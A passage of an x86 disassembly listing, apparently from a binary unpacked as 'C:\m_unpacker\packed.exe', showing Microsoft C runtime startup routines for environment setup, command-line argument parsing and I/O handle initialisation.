edx, 22h jz short loc_4251E5 mov eax, [ebp+var_4] xor ecx, ecx mov cl, [eax] test ecx, ecx jz short loc_4251E5 mov edx, [ebp+var_4] xor eax, eax mov al, [edx] push eax call sub_42C4A0 add esp, 4 test eax, eax jz short loc_4251E3 mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_4251E3: ; CODE XREF: sub_425180+58j jmp short loc_4251A6 ; --------------------------------------------------------------------------- loc_4251E5: ; CODE XREF: sub_425180+39j ; sub_425180+44j mov edx, [ebp+var_4] xor eax, eax mov al, [edx] cmp eax, 22h jnz short loc_4251FA mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_4251FA: ; CODE XREF: sub_425180+6Fj jmp short loc_425213 ; --------------------------------------------------------------------------- loc_4251FC: ; CODE XREF: sub_425180+24j ; sub_425180+91j mov edx, [ebp+var_4] xor eax, eax mov al, [edx] cmp eax, 20h jle short loc_425213 mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx jmp short loc_4251FC ; --------------------------------------------------------------------------- loc_425213: ; CODE XREF: sub_425180:loc_4251FAj ; sub_425180+86j ... mov edx, [ebp+var_4] xor eax, eax mov al, [edx] test eax, eax jz short loc_425235 mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] cmp edx, 20h jg short loc_425235 mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax jmp short loc_425213 ; --------------------------------------------------------------------------- loc_425235: ; CODE XREF: sub_425180+9Cj ; sub_425180+A8j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_425180 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425240 proc near ; CODE XREF: sub_41B970+CDp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 10h loc_425246: ; DATA XREF: .data:00443894o cmp dword_49378C, 0 jnz short loc_425254 call sub_4249A0 loc_425254: ; CODE XREF: sub_425240+Dj mov [ebp+var_8], 0 mov eax, dword_4920D8 mov [ebp+var_4], eax loc_425263: ; CODE XREF: sub_425240+57j mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] test edx, edx jz short loc_425299 mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 3Dh jz short loc_425281 mov edx, [ebp+var_8] add edx, 1 mov [ebp+var_8], edx loc_425281: ; CODE XREF: sub_425240+36j mov eax, [ebp+var_4] push eax call sub_418E70 add esp, 4 mov ecx, [ebp+var_4] lea edx, [ecx+eax+1] mov [ebp+var_4], edx jmp short loc_425263 ; --------------------------------------------------------------------------- loc_425299: ; CODE XREF: sub_425240+2Bj push 6Dh push offset aStdenvp_c ; "stdenvp.c" push 2 mov eax, [ebp+var_8] lea ecx, ds:4[eax*4] push ecx call sub_416A30 add esp, 10h mov [ebp+var_C], eax mov edx, [ebp+var_C] mov dword_4920B0, edx cmp dword_4920B0, 0 jnz short loc_4252D4 push 9 call sub_41BAE0 add esp, 4 loc_4252D4: ; CODE XREF: sub_425240+88j mov eax, dword_4920D8 mov [ebp+var_4], eax jmp short loc_4252E7 ; --------------------------------------------------------------------------- loc_4252DE: ; CODE XREF: sub_425240:loc_425355j mov ecx, [ebp+var_4] add ecx, [ebp+var_10] mov [ebp+var_4], ecx loc_4252E7: ; CODE XREF: sub_425240+9Cj mov edx, [ebp+var_4] movsx eax, byte ptr [edx] test eax, eax jz short loc_425357 mov ecx, [ebp+var_4] push ecx call sub_418E70 add esp, 4 add eax, 1 mov [ebp+var_10], eax mov edx, [ebp+var_4] movsx eax, byte ptr [edx] cmp eax, 3Dh jz short loc_425355 push 79h push offset aStdenvp_c ; "stdenvp.c" push 2 mov ecx, [ebp+var_10] push ecx call sub_416A30 add esp, 10h mov edx, [ebp+var_C] mov [edx], eax mov eax, [ebp+var_C] cmp dword ptr [eax], 0 jnz short loc_42533A push 9 call sub_41BAE0 add esp, 4 loc_42533A: ; CODE XREF: sub_425240+EEj mov ecx, [ebp+var_4] push ecx mov edx, [ebp+var_C] mov eax, [edx] push eax call sub_419FA0 add esp, 8 mov ecx, [ebp+var_C] add ecx, 4 mov [ebp+var_C], ecx loc_425355: ; CODE XREF: sub_425240+CCj jmp short loc_4252DE ; --------------------------------------------------------------------------- loc_425357: ; CODE XREF: sub_425240+AFj push 2 mov edx, dword_4920D8 push edx call sub_4174C0 add esp, 8 mov dword_4920D8, 0 mov eax, [ebp+var_C] mov dword ptr [eax], 0 mov dword_493788, 1 mov esp, ebp pop ebp retn sub_425240 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425390 proc near ; CODE XREF: sub_41B970+C8p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 14h cmp dword_49378C, 0 jnz short loc_4253A4 call sub_4249A0 loc_4253A4: ; CODE XREF: sub_425390+Dj push 104h push offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push 0 call ds:dword_4942F8 mov off_4920C0, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" mov eax, dword_493784 movsx ecx, byte ptr [eax] test ecx, ecx jnz short loc_4253D7 mov edx, off_4920C0 mov [ebp+var_14], edx jmp short loc_4253DF ; --------------------------------------------------------------------------- loc_4253D7: ; CODE XREF: sub_425390+3Aj mov eax, dword_493784 mov [ebp+var_14], eax loc_4253DF: ; CODE XREF: sub_425390+45j mov ecx, [ebp+var_14] mov [ebp+var_10], ecx lea edx, [ebp+var_4] push edx lea eax, [ebp+var_C] push eax push 0 push 0 mov ecx, [ebp+var_10] push ecx call sub_425470 add esp, 14h push 80h push offset aStdargv_c ; "stdargv.c" push 2 mov edx, [ebp+var_C] mov eax, [ebp+var_4] lea ecx, [eax+edx*4] push ecx call sub_416A30 add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_42542E push 8 call sub_41BAE0 add esp, 4 loc_42542E: ; CODE XREF: sub_425390+92j lea edx, [ebp+var_4] push edx lea eax, [ebp+var_C] push eax mov ecx, [ebp+var_C] mov edx, [ebp+var_8] lea eax, [edx+ecx*4] push eax mov ecx, [ebp+var_8] push ecx mov edx, [ebp+var_10] push edx call sub_425470 add esp, 14h mov eax, [ebp+var_C] sub eax, 1 mov dword_4920A4, eax mov ecx, [ebp+var_8] mov dword_4920A8, ecx mov esp, ebp pop ebp retn sub_425390 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425470 proc near ; CODE XREF: sub_425390+65p ; sub_425390+B8p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_10] mov dword ptr [eax], 0 mov ecx, [ebp+arg_C] mov dword ptr [ecx], 1 mov edx, [ebp+arg_0] mov [ebp+var_4], edx cmp [ebp+arg_4], 0 jz short loc_4254A5 mov eax, [ebp+arg_4] mov ecx, [ebp+arg_8] mov [eax], ecx mov edx, [ebp+arg_4] add edx, 4 mov [ebp+arg_4], edx loc_4254A5: ; CODE XREF: sub_425470+22j mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 22h jnz loc_42557D loc_4254B4: ; CODE XREF: sub_425470:loc_42553Dj mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 22h jz short loc_425542 mov edx, [ebp+var_4] movsx eax, byte ptr [edx] test eax, eax jz short loc_425542 mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] xor eax, eax mov al, byte_492641[edx] and eax, 4 test eax, eax jz short loc_425517 mov ecx, [ebp+arg_10] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_10] mov [eax], edx cmp [ebp+arg_8], 0 jz short loc_425517 mov ecx, [ebp+arg_8] mov edx, [ebp+var_4] mov al, [edx] mov [ecx], al mov ecx, [ebp+arg_8] add ecx, 1 mov [ebp+arg_8], ecx mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_425517: ; CODE XREF: sub_425470+76j ; sub_425470+89j mov eax, [ebp+arg_10] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_10] mov [edx], ecx cmp [ebp+arg_8], 0 jz short loc_42553D mov eax, [ebp+arg_8] mov ecx, [ebp+var_4] mov dl, [ecx] mov [eax], dl mov eax, [ebp+arg_8] add eax, 1 mov [ebp+arg_8], eax loc_42553D: ; CODE XREF: sub_425470+B8j jmp loc_4254B4 ; --------------------------------------------------------------------------- loc_425542: ; CODE XREF: sub_425470+56j ; sub_425470+60j mov ecx, [ebp+arg_10] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_10] mov [eax], edx cmp [ebp+arg_8], 0 jz short loc_425564 mov ecx, [ebp+arg_8] mov byte ptr [ecx], 0 mov edx, [ebp+arg_8] add edx, 1 mov [ebp+arg_8], edx loc_425564: ; CODE XREF: sub_425470+E3j mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 22h jnz short loc_425578 mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_425578: ; CODE XREF: sub_425470+FDj jmp loc_42564C ; --------------------------------------------------------------------------- loc_42557D: ; CODE XREF: sub_425470+3Ej ; sub_425470+1B1j mov eax, [ebp+arg_10] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_10] mov [edx], ecx cmp [ebp+arg_8], 0 jz short loc_4255A3 mov eax, [ebp+arg_8] mov ecx, [ebp+var_4] mov dl, [ecx] mov [eax], dl mov eax, [ebp+arg_8] add eax, 1 mov [ebp+arg_8], eax loc_4255A3: ; CODE XREF: sub_425470+11Ej mov ecx, [ebp+var_4] mov dl, [ecx] mov byte ptr [ebp+var_C], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax mov ecx, [ebp+var_C] and ecx, 0FFh xor edx, edx mov dl, byte_492641[ecx] and edx, 4 test edx, edx jz short loc_4255FB mov eax, [ebp+arg_10] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_10] mov [edx], ecx cmp [ebp+arg_8], 0 jz short loc_4255F2 mov eax, [ebp+arg_8] mov ecx, [ebp+var_4] mov dl, [ecx] mov [eax], dl mov eax, [ebp+arg_8] add eax, 1 mov [ebp+arg_8], eax loc_4255F2: ; CODE XREF: sub_425470+16Dj mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_4255FB: ; CODE XREF: sub_425470+15Aj mov edx, [ebp+var_C] and edx, 0FFh cmp edx, 20h jz short loc_425627 mov eax, [ebp+var_C] and eax, 0FFh test eax, eax jz short loc_425627 mov ecx, [ebp+var_C] and ecx, 0FFh cmp ecx, 9 jnz loc_42557D loc_425627: ; CODE XREF: sub_425470+197j ; sub_425470+1A3j mov edx, [ebp+var_C] and edx, 0FFh test edx, edx jnz short loc_42563F mov eax, [ebp+var_4] sub eax, 1 mov [ebp+var_4], eax jmp short loc_42564C ; --------------------------------------------------------------------------- loc_42563F: ; CODE XREF: sub_425470+1C2j cmp [ebp+arg_8], 0 jz short loc_42564C mov ecx, [ebp+arg_8] mov byte ptr [ecx-1], 0 loc_42564C: ; CODE XREF: sub_425470:loc_425578j ; sub_425470+1CDj ... mov [ebp+var_14], 0 loc_425653: ; CODE XREF: sub_425470+3F6j mov edx, [ebp+var_4] movsx eax, byte ptr [edx] test eax, eax jz short loc_42567E loc_42565D: ; CODE XREF: sub_425470+20Cj mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 20h jz short loc_425673 mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 9 jnz short loc_42567E loc_425673: ; CODE XREF: sub_425470+1F6j mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx jmp short loc_42565D ; --------------------------------------------------------------------------- loc_42567E: ; CODE XREF: sub_425470+1EBj ; sub_425470+201j mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] test ecx, ecx jnz short loc_42568D jmp loc_42586B ; --------------------------------------------------------------------------- loc_42568D: ; CODE XREF: sub_425470+216j cmp [ebp+arg_4], 0 jz short loc_4256A4 mov edx, [ebp+arg_4] mov eax, [ebp+arg_8] mov [edx], eax mov ecx, [ebp+arg_4] add ecx, 4 mov [ebp+arg_4], ecx loc_4256A4: ; CODE XREF: sub_425470+221j mov edx, [ebp+arg_C] mov eax, [edx] add eax, 1 mov ecx, [ebp+arg_C] mov [ecx], eax loc_4256B1: ; CODE XREF: sub_425470+3CFj mov [ebp+var_8], 1 mov [ebp+var_10], 0 loc_4256BF: ; CODE XREF: sub_425470+26Cj mov edx, [ebp+var_4] movsx eax, byte ptr [edx] cmp eax, 5Ch jnz short loc_4256DE mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_10] add edx, 1 mov [ebp+var_10], edx jmp short loc_4256BF ; --------------------------------------------------------------------------- loc_4256DE: ; CODE XREF: sub_425470+258j mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 22h jnz short loc_42573A mov eax, [ebp+var_10] xor edx, edx mov ecx, 2 div ecx test edx, edx jnz short loc_425732 cmp [ebp+var_14], 0 jz short loc_42571F mov edx, [ebp+var_4] movsx eax, byte ptr [edx+1] cmp eax, 22h jnz short loc_425716 mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx jmp short loc_42571D ; --------------------------------------------------------------------------- loc_425716: ; CODE XREF: sub_425470+299j mov [ebp+var_8], 0 loc_42571D: ; CODE XREF: sub_425470+2A4j jmp short loc_425726 ; --------------------------------------------------------------------------- loc_42571F: ; CODE XREF: sub_425470+28Dj mov [ebp+var_8], 0 loc_425726: ; CODE XREF: sub_425470:loc_42571Dj xor edx, edx cmp [ebp+var_14], 0 setz dl mov [ebp+var_14], edx loc_425732: ; CODE XREF: sub_425470+287j mov eax, [ebp+var_10] shr eax, 1 mov [ebp+var_10], eax loc_42573A: ; CODE XREF: sub_425470+277j ; sub_425470+2FCj mov ecx, [ebp+var_10] mov edx, [ebp+var_10] sub edx, 1 mov [ebp+var_10], edx test ecx, ecx jz short loc_42576E cmp [ebp+arg_8], 0 jz short loc_42575F mov eax, [ebp+arg_8] mov byte ptr [eax], 5Ch mov ecx, [ebp+arg_8] add ecx, 1 mov [ebp+arg_8], ecx loc_42575F: ; CODE XREF: sub_425470+2DEj mov edx, [ebp+arg_10] mov eax, [edx] add eax, 1 mov ecx, [ebp+arg_10] mov [ecx], eax jmp short loc_42573A ; --------------------------------------------------------------------------- loc_42576E: ; CODE XREF: sub_425470+2D8j mov edx, [ebp+var_4] movsx eax, byte ptr [edx] test eax, eax jz short loc_425794 cmp [ebp+var_14], 0 jnz short loc_425799 mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 20h jz short loc_425794 mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 9 jnz short loc_425799 loc_425794: ; CODE XREF: sub_425470+306j ; sub_425470+317j jmp loc_425844 ; --------------------------------------------------------------------------- loc_425799: ; CODE XREF: sub_425470+30Cj ; sub_425470+322j cmp [ebp+var_8], 0 jz loc_425836 cmp [ebp+arg_8], 0 jz short loc_4257FD mov edx, [ebp+var_4] xor eax, eax mov al, [edx] xor ecx, ecx mov cl, byte_492641[eax] and ecx, 4 test ecx, ecx jz short loc_4257E8 mov edx, [ebp+arg_8] mov eax, [ebp+var_4] mov cl, [eax] mov [edx], cl mov edx, [ebp+arg_8] add edx, 1 mov [ebp+arg_8], edx mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax mov ecx, [ebp+arg_10] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_10] mov [eax], edx loc_4257E8: ; CODE XREF: sub_425470+34Dj mov ecx, [ebp+arg_8] mov edx, [ebp+var_4] mov al, [edx] mov [ecx], al mov ecx, [ebp+arg_8] add ecx, 1 mov [ebp+arg_8], ecx jmp short loc_425829 ; --------------------------------------------------------------------------- loc_4257FD: ; CODE XREF: sub_425470+337j mov edx, [ebp+var_4] xor eax, eax mov al, [edx] xor ecx, ecx mov cl, byte_492641[eax] and ecx, 4 test ecx, ecx jz short loc_425829 mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx mov eax, [ebp+arg_10] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_10] mov [edx], ecx loc_425829: ; CODE XREF: sub_425470+38Bj ; sub_425470+3A1j mov eax, [ebp+arg_10] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_10] mov [edx], ecx loc_425836: ; CODE XREF: sub_425470+32Dj mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax jmp loc_4256B1 ; --------------------------------------------------------------------------- loc_425844: ; CODE XREF: sub_425470:loc_425794j cmp [ebp+arg_8], 0 jz short loc_425859 mov ecx, [ebp+arg_8] mov byte ptr [ecx], 0 mov edx, [ebp+arg_8] add edx, 1 mov [ebp+arg_8], edx loc_425859: ; CODE XREF: sub_425470+3D8j mov eax, [ebp+arg_10] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_10] mov [edx], ecx jmp loc_425653 ; --------------------------------------------------------------------------- loc_42586B: ; CODE XREF: sub_425470+218j cmp [ebp+arg_4], 0 jz short loc_425883 mov eax, [ebp+arg_4] mov dword ptr [eax], 0 mov ecx, [ebp+arg_4] add ecx, 4 mov [ebp+arg_4], ecx loc_425883: ; CODE XREF: sub_425470+3FFj mov edx, [ebp+arg_C] mov eax, [edx] add eax, 1 mov ecx, [ebp+arg_C] mov [ecx], eax mov esp, ebp pop ebp retn sub_425470 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4258A0 proc near ; CODE XREF: sub_41B970+BEp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h mov [ebp+var_14], 0 mov [ebp+var_18], 0 cmp dword_492298, 0 jnz short loc_4258FA call ds:dword_494498 mov [ebp+var_14], eax cmp [ebp+var_14], 0 jz short loc_4258D8 mov dword_492298, 1 jmp short loc_4258FA ; --------------------------------------------------------------------------- loc_4258D8: ; CODE XREF: sub_4258A0+2Aj call ds:dword_494494 mov [ebp+var_18], eax cmp [ebp+var_18], 0 jz short loc_4258F3 mov dword_492298, 2 jmp short loc_4258FA ; --------------------------------------------------------------------------- loc_4258F3: ; CODE XREF: sub_4258A0+45j xor eax, eax jmp loc_425AB5 ; --------------------------------------------------------------------------- loc_4258FA: ; CODE XREF: sub_4258A0+1Bj ; sub_4258A0+36j ... cmp dword_492298, 1 jnz loc_4259FE cmp [ebp+var_14], 0 jnz short loc_425923 call ds:dword_494498 mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_425923 xor eax, eax jmp loc_425AB5 ; --------------------------------------------------------------------------- loc_425923: ; CODE XREF: sub_4258A0+6Bj ; sub_4258A0+7Aj mov eax, [ebp+var_14] mov [ebp+var_8], eax loc_425929: ; CODE XREF: sub_4258A0:loc_425953j mov ecx, [ebp+var_8] xor edx, edx mov dx, [ecx] test edx, edx jz short loc_425955 mov eax, [ebp+var_8] add eax, 2 mov [ebp+var_8], eax mov ecx, [ebp+var_8] xor edx, edx mov dx, [ecx] test edx, edx jnz short loc_425953 mov eax, [ebp+var_8] add eax, 2 mov [ebp+var_8], eax loc_425953: ; CODE XREF: sub_4258A0+A8j jmp short loc_425929 ; --------------------------------------------------------------------------- loc_425955: ; CODE XREF: sub_4258A0+93j mov ecx, [ebp+var_8] sub ecx, [ebp+var_14] sar ecx, 1 add ecx, 1 mov [ebp+var_4], ecx push 0 push 0 push 0 push 0 mov edx, [ebp+var_4] push edx mov eax, [ebp+var_14] push eax push 0 push 0 call ds:dword_4943B0 mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_4259A4 push 64h push offset aA_env_c ; "a_env.c" push 2 mov ecx, [ebp+var_10] push ecx call sub_416A30 add esp, 10h mov [ebp+var_18], eax cmp [ebp+var_18], 0 jnz short loc_4259B5 loc_4259A4: ; CODE XREF: sub_4258A0+E4j mov edx, [ebp+var_14] push edx call ds:dword_494490 xor eax, eax jmp loc_425AB5 ; --------------------------------------------------------------------------- loc_4259B5: ; CODE XREF: sub_4258A0+102j push 0 push 0 mov eax, [ebp+var_10] push eax mov ecx, [ebp+var_18] push ecx mov edx, [ebp+var_4] push edx mov eax, [ebp+var_14] push eax push 0 push 0 call ds:dword_4943B0 test eax, eax jnz short loc_4259EC push 2 mov ecx, [ebp+var_18] push ecx call sub_4174C0 add esp, 8 mov [ebp+var_18], 0 loc_4259EC: ; CODE XREF: sub_4258A0+135j mov edx, [ebp+var_14] push edx call ds:dword_494490 mov eax, [ebp+var_18] jmp loc_425AB5 ; --------------------------------------------------------------------------- loc_4259FE: ; CODE XREF: sub_4258A0+61j cmp dword_492298, 2 jnz loc_425AB3 cmp [ebp+var_18], 0 jnz short loc_425A27 call ds:dword_494494 mov [ebp+var_18], eax cmp [ebp+var_18], 0 jnz short loc_425A27 xor eax, eax jmp loc_425AB5 ; --------------------------------------------------------------------------- loc_425A27: ; CODE XREF: sub_4258A0+16Fj ; sub_4258A0+17Ej mov eax, [ebp+var_18] mov [ebp+var_C], eax loc_425A2D: ; CODE XREF: sub_4258A0:loc_425A53j mov ecx, [ebp+var_C] movsx edx, byte ptr [ecx] test edx, edx jz short loc_425A55 mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax mov ecx, [ebp+var_C] movsx edx, byte ptr [ecx] test edx, edx jnz short loc_425A53 mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax loc_425A53: ; CODE XREF: sub_4258A0+1A8j jmp short loc_425A2D ; --------------------------------------------------------------------------- loc_425A55: ; CODE XREF: sub_4258A0+195j mov ecx, [ebp+var_C] sub ecx, [ebp+var_18] add ecx, 1 mov [ebp+var_10], ecx push 8Fh push offset aA_env_c ; "a_env.c" push 2 mov edx, [ebp+var_10] push edx call sub_416A30 add esp, 10h mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_425A90 mov eax, [ebp+var_18] push eax call ds:dword_49448C xor eax, eax jmp short loc_425AB5 ; --------------------------------------------------------------------------- loc_425A90: ; CODE XREF: sub_4258A0+1E0j mov ecx, [ebp+var_10] push ecx mov edx, [ebp+var_18] push edx mov eax, [ebp+var_C] push eax call sub_418A00 add esp, 0Ch mov ecx, [ebp+var_18] push ecx call ds:dword_49448C mov eax, [ebp+var_C] jmp short loc_425AB5 ; --------------------------------------------------------------------------- loc_425AB3: ; CODE XREF: sub_4258A0+165j xor eax, eax loc_425AB5: ; CODE XREF: sub_4258A0+55j ; sub_4258A0+7Ej ... mov esp, ebp pop ebp retn sub_4258A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425AC0 proc near ; CODE XREF: sub_41B970+AEp var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = byte ptr -48h var_16 = dword ptr -16h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 6Ch push 81h push offset aIoinit_c ; "ioinit.c" push 2 push 480h call sub_416A30 add esp, 10h mov [ebp+var_50], eax cmp [ebp+var_50], 0 jnz short loc_425AF2 push 1Bh call sub_41BAE0 add esp, 4 loc_425AF2: ; CODE XREF: sub_425AC0+26j mov eax, [ebp+var_50] mov dword_492420, eax mov dword_492520, 20h jmp short loc_425B0F ; --------------------------------------------------------------------------- loc_425B06: ; CODE XREF: sub_425AC0+81j mov ecx, [ebp+var_50] add ecx, 24h mov [ebp+var_50], ecx loc_425B0F: ; CODE XREF: sub_425AC0+44j mov edx, dword_492420 add edx, 480h cmp [ebp+var_50], edx jnb short loc_425B43 mov eax, [ebp+var_50] mov byte ptr [eax+4], 0 mov ecx, [ebp+var_50] mov dword ptr [ecx], 0FFFFFFFFh mov edx, [ebp+var_50] mov byte ptr [edx+5], 0Ah mov eax, [ebp+var_50] mov dword ptr [eax+8], 0 jmp short loc_425B06 ; --------------------------------------------------------------------------- loc_425B43: ; CODE XREF: sub_425AC0+5Ej lea ecx, [ebp+var_48] push ecx call ds:dword_494424 mov edx, [ebp+var_16] and edx, 0FFFFh test edx, edx jz loc_425CE5 cmp [ebp+var_16+2], 0 jz loc_425CE5 mov eax, [ebp+var_16+2] mov ecx, [eax] mov [ebp+var_64], ecx mov edx, [ebp+var_16+2] add edx, 4 mov [ebp+var_4], edx mov eax, [ebp+var_4] add eax, [ebp+var_64] mov [ebp+var_60], eax cmp [ebp+var_64], 800h jge short loc_425B93 mov ecx, [ebp+var_64] mov [ebp+var_68], ecx jmp short loc_425B9A ; --------------------------------------------------------------------------- loc_425B93: ; CODE XREF: sub_425AC0+C9j mov [ebp+var_68], 800h loc_425B9A: ; CODE XREF: sub_425AC0+D1j mov edx, [ebp+var_68] mov [ebp+var_64], edx mov [ebp+var_5C], 1 jmp short loc_425BB2 ; --------------------------------------------------------------------------- loc_425BA9: ; CODE XREF: sub_425AC0:loc_425C4Dj mov eax, [ebp+var_5C] add eax, 1 mov [ebp+var_5C], eax loc_425BB2: ; CODE XREF: sub_425AC0+E7j mov ecx, dword_492520 cmp ecx, [ebp+var_64] jge loc_425C52 push 0B6h push offset aIoinit_c ; "ioinit.c" push 2 push 480h call sub_416A30 add esp, 10h mov [ebp+var_50], eax cmp [ebp+var_50], 0 jnz short loc_425BEE mov edx, dword_492520 mov [ebp+var_64], edx jmp short loc_425C52 ; --------------------------------------------------------------------------- loc_425BEE: ; CODE XREF: sub_425AC0+121j mov eax, [ebp+var_5C] mov ecx, [ebp+var_50] mov dword_492420[eax*4], ecx mov edx, dword_492520 add edx, 20h mov dword_492520, edx jmp short loc_425C15 ; --------------------------------------------------------------------------- loc_425C0C: ; CODE XREF: sub_425AC0+18Bj mov eax, [ebp+var_50] add eax, 24h mov [ebp+var_50], eax loc_425C15: ; CODE XREF: sub_425AC0+14Aj mov ecx, [ebp+var_5C] mov edx, dword_492420[ecx*4] add edx, 480h cmp [ebp+var_50], edx jnb short loc_425C4D mov eax, [ebp+var_50] mov byte ptr [eax+4], 0 mov ecx, [ebp+var_50] mov dword ptr [ecx], 0FFFFFFFFh mov edx, [ebp+var_50] mov byte ptr [edx+5], 0Ah mov eax, [ebp+var_50] mov dword ptr [eax+8], 0 jmp short loc_425C0C ; --------------------------------------------------------------------------- loc_425C4D: ; CODE XREF: sub_425AC0+168j jmp loc_425BA9 ; --------------------------------------------------------------------------- loc_425C52: ; CODE XREF: sub_425AC0+FBj ; sub_425AC0+12Cj mov [ebp+var_58], 0 jmp short loc_425C76 ; --------------------------------------------------------------------------- loc_425C5B: ; CODE XREF: sub_425AC0:loc_425CE0j mov ecx, [ebp+var_58] add ecx, 1 mov [ebp+var_58], ecx mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_60] add eax, 4 mov [ebp+var_60], eax loc_425C76: ; CODE XREF: sub_425AC0+199j mov ecx, [ebp+var_58] cmp ecx, [ebp+var_64] jge short loc_425CE5 mov edx, [ebp+var_60] cmp dword ptr [edx], 0FFFFFFFFh jz short loc_425CE0 mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] and ecx, 1 test ecx, ecx jz short loc_425CE0 mov edx, [ebp+var_4] movsx eax, byte ptr [edx] and eax, 8 test eax, eax jnz short loc_425CB0 mov ecx, [ebp+var_60] mov edx, [ecx] push edx call ds:dword_4942CC test eax, eax jz short loc_425CE0 loc_425CB0: ; CODE XREF: sub_425AC0+1DEj mov eax, [ebp+var_58] sar eax, 5 mov ecx, [ebp+var_58] and ecx, 1Fh imul ecx, 24h mov edx, dword_492420[eax*4] add edx, ecx mov [ebp+var_50], edx mov eax, [ebp+var_50] mov ecx, [ebp+var_60] mov edx, [ecx] mov [eax], edx mov eax, [ebp+var_50] mov ecx, [ebp+var_4] mov dl, [ecx] mov [eax+4], dl loc_425CE0: ; CODE XREF: sub_425AC0+1C4j ; sub_425AC0+1D1j ... jmp loc_425C5B ; --------------------------------------------------------------------------- loc_425CE5: ; CODE XREF: sub_425AC0+98j ; sub_425AC0+A2j ... mov [ebp+var_58], 0 jmp short loc_425CF7 ; --------------------------------------------------------------------------- loc_425CEE: ; CODE XREF: sub_425AC0:loc_425DCFj mov eax, [ebp+var_58] add eax, 1 mov [ebp+var_58], eax loc_425CF7: ; CODE XREF: sub_425AC0+22Cj cmp [ebp+var_58], 3 jge loc_425DD4 mov ecx, [ebp+var_58] imul ecx, 24h mov edx, dword_492420 add edx, ecx mov [ebp+var_50], edx mov eax, [ebp+var_50] cmp dword ptr [eax], 0FFFFFFFFh jnz loc_425DC0 mov ecx, [ebp+var_50] mov byte ptr [ecx+4], 81h cmp [ebp+var_58], 0 jnz short loc_425D34 mov [ebp+var_6C], 0FFFFFFF6h jmp short loc_425D44 ; --------------------------------------------------------------------------- loc_425D34: ; CODE XREF: sub_425AC0+269j mov edx, [ebp+var_58] sub edx, 1 neg edx sbb edx, edx add edx, 